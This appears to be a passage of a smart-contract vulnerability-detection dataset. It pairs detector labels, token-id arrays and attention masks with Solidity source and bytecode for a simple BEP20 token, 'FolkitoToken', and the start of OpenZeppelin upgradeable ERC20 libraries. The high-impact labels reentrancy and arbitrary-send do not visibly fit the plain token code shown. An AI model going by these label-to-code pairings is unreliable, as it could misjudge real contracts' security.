true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2683, 12521, 26337, 21926, 2683, 2620, 2497, 2692, 2683, 18139, 21456, 11329, 11387, 2475, 2050, 27531, 20952, 2278, 2475, 4215, 2546, 2620, 20952, 7011, 2487, 1013, 1008, 1008, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 23921, 1024, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 3336, 18349, 19833, 11045, 2078, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 3853, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,894
0x9791bc7beb646b139a35780e5e9c68e4df0d027e
// SPDX-License-Identifier: MIT pragma solidity 0.8.4; interface IBEP20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the bep token owner. */ function getOwner() external view returns (address); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () { } function _msgSender() internal view returns (address) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract FolkitoToken is Context, IBEP20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint8 public _decimals; string public _symbol; string public _name; constructor() { _name = "FolkitoToken"; _symbol = "FOLK"; _decimals = 18; uint256 amount = 50000000*10**18; _mint(msg.sender,amount); } /** * @dev Returns the bep token owner. */ function getOwner() override external view returns (address) { return owner(); } /** * @dev Returns the token decimals. */ function decimals() override external view returns (uint8) { return _decimals; } /** * @dev Returns the token symbol. */ function symbol() override external view returns (string memory) { return _symbol; } /** * @dev Returns the token name. */ function name() override external view returns (string memory) { return _name; } /** * @dev See {BEP20-totalSupply}. */ function totalSupply() override external view returns (uint256) { return _totalSupply; } /** * @dev See {BEP20-balanceOf}. */ function balanceOf(address account) override external view returns (uint256) { return _balances[account]; } /** * @dev See {BEP20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) override external returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {BEP20-allowance}. */ function allowance(address owner, address spender) override external view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {BEP20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {BEP20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {BEP20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {BEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {BEP20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero")); return true; } /** * @dev Burn `amount` tokens and decreasing the total supply. */ function burn(uint256 amount) public returns (bool) { _burn(_msgSender(), amount); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "BEP20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "BEP20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "BEP20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance")); } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063715018a6116100ad578063a9059cbb11610071578063a9059cbb1461025c578063b09f12661461026f578063d28d885214610277578063dd62ed3e1461027f578063f2fde38b146102b857600080fd5b8063715018a614610201578063893d20e81461020b5780638da5cb5b1461023057806395d89b4114610241578063a457c2d71461024957600080fd5b8063313ce567116100f4578063313ce5671461018c57806332424aa3146101a557806339509351146101b257806342966c68146101c557806370a08231146101d857600080fd5b806306fdde0314610126578063095ea7b31461014457806318160ddd1461016757806323b872dd14610179575b600080fd5b61012e6102cb565b60405161013b9190610c77565b60405180910390f35b610157610152366004610c36565b61035d565b604051901515815260200161013b565b6003545b60405190815260200161013b565b610157610187366004610bfb565b610373565b60045460ff165b60405160ff909116815260200161013b565b6004546101939060ff1681565b6101576101c0366004610c36565b6103dc565b6101576101d3366004610c5f565b610412565b61016b6101e6366004610baf565b6001600160a01b031660009081526001602052604090205490565b610209610426565b005b6000546001600160a01b03165b6040516001600160a01b03909116815260200161013b565b6000546001600160a01b0316610218565b61012e6104cf565b610157610257366004610c36565b6104de565b61015761026a366004610c36565b61052d565b61012e61053a565b61012e6105c8565b61016b61028d366004610bc9565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6102096102c6366004610baf565b6105d5565b6060600680546102da90610cf9565b80601f016020809104026020016040519081016040528092919081815260200182805461030690610cf9565b80156103535780601f1061032857610100808354040283529160200191610353565b820191906000526020600020905b81548152906001019060200180831161033657829003601f168201915b5050505050905090565b600061036a3384846106a1565b50600192915050565b60006103808484846107c6565b6103d284336103cd85604051806060016040528060288152602001610d4b602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061094c565b6106a1565b5060019392505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161036a9185906103cd908661063b565b600061041e3383610986565b506001919050565b6000546001600160a01b031633146104855760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600580546102da90610cf9565b600061036a33846103cd85604051806060016040528060258152602001610d99602591393360009081526002602090815260408083206001600160a01b038d168452909152902054919061094c565b600061036a3384846107c6565b6005805461054790610cf9565b80601f016020809104026020016040519081016040528092919081815260200182805461057390610cf9565b80156105c05780601f10610595576101008083540402835291602001916105c0565b820191906000526020600020905b8154815290600101906020018083116105a357829003601f168201915b505050505081565b6006805461054790610cf9565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161047c565b61063881610a91565b50565b6000806106488385610cca565b90508381101561069a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161047c565b9392505050565b6001600160a01b0383166107035760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161047c565b6001600160a01b0382166107645760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161047c565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b03831661082a5760405162461bcd60e51b815260206004820152602560248201527f42455032303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161047c565b6001600160a01b03821661088c5760405162461bcd60e51b815260206004820152602360248201527f42455032303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161047c565b6108c981604051806060016040528060268152602001610d73602691396001600160a01b038616600090815260016020526040902054919061094c565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546108f8908261063b565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107b99085815260200190565b600081848411156109705760405162461bcd60e51b815260040161047c9190610c77565b50600061097d8486610ce2565b95945050505050565b6001600160a01b0382166109e65760405162461bcd60e51b815260206004820152602160248201527f42455032303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161047c565b610a2381604051806060016040528060228152602001610dbe602291396001600160a01b038516600090815260016020526040902054919061094c565b6001600160a01b038316600090815260016020526040902055600354610a499082610b51565b6003556040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6001600160a01b038116610af65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161047c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600061069a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061094c565b80356001600160a01b0381168114610baa57600080fd5b919050565b600060208284031215610bc0578081fd5b61069a82610b93565b60008060408385031215610bdb578081fd5b610be483610b93565b9150610bf260208401610b93565b90509250929050565b600080600060608486031215610c0f578081fd5b610c1884610b93565b9250610c2660208501610b93565b9150604084013590509250925092565b60008060408385031215610c48578182fd5b610c5183610b93565b946020939093013593505050565b600060208284031215610c70578081fd5b5035919050565b6000602080835283518082850152825b81811015610ca357858101830151858201604001528201610c87565b81811115610cb45783604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610cdd57610cdd610d34565b500190565b600082821015610cf457610cf4610d34565b500390565b600181811c90821680610d0d57607f821691505b60208210811415610d2e57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe42455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f42455032303a206275726e20616d6f756e7420657863656564732062616c616e6365a2646970667358221220ce521e65a02b92c211bc52772dbcc518310c39a3dfbdc1fa8b609aaa6cbcc5c464736f6c63430008040033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 2683, 2487, 9818, 2581, 4783, 2497, 21084, 2575, 2497, 17134, 2683, 2050, 19481, 2581, 17914, 2063, 2629, 2063, 2683, 2278, 2575, 2620, 2063, 2549, 20952, 2692, 2094, 2692, 22907, 2063, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1018, 1025, 8278, 21307, 13699, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 19204, 26066, 2015, 1012, 1008, 1013, 3853, 26066, 2015, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 2620, 1007, 1025, 1013, 1008, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,895
0x9791c907fdfd80982e73a7d6ca4358a8ae4616ee
pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Upgradeable { using AddressUpgradeable for address; function safeTransfer( IERC20Upgradeable token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20Upgradeable token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20Upgradeable token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below 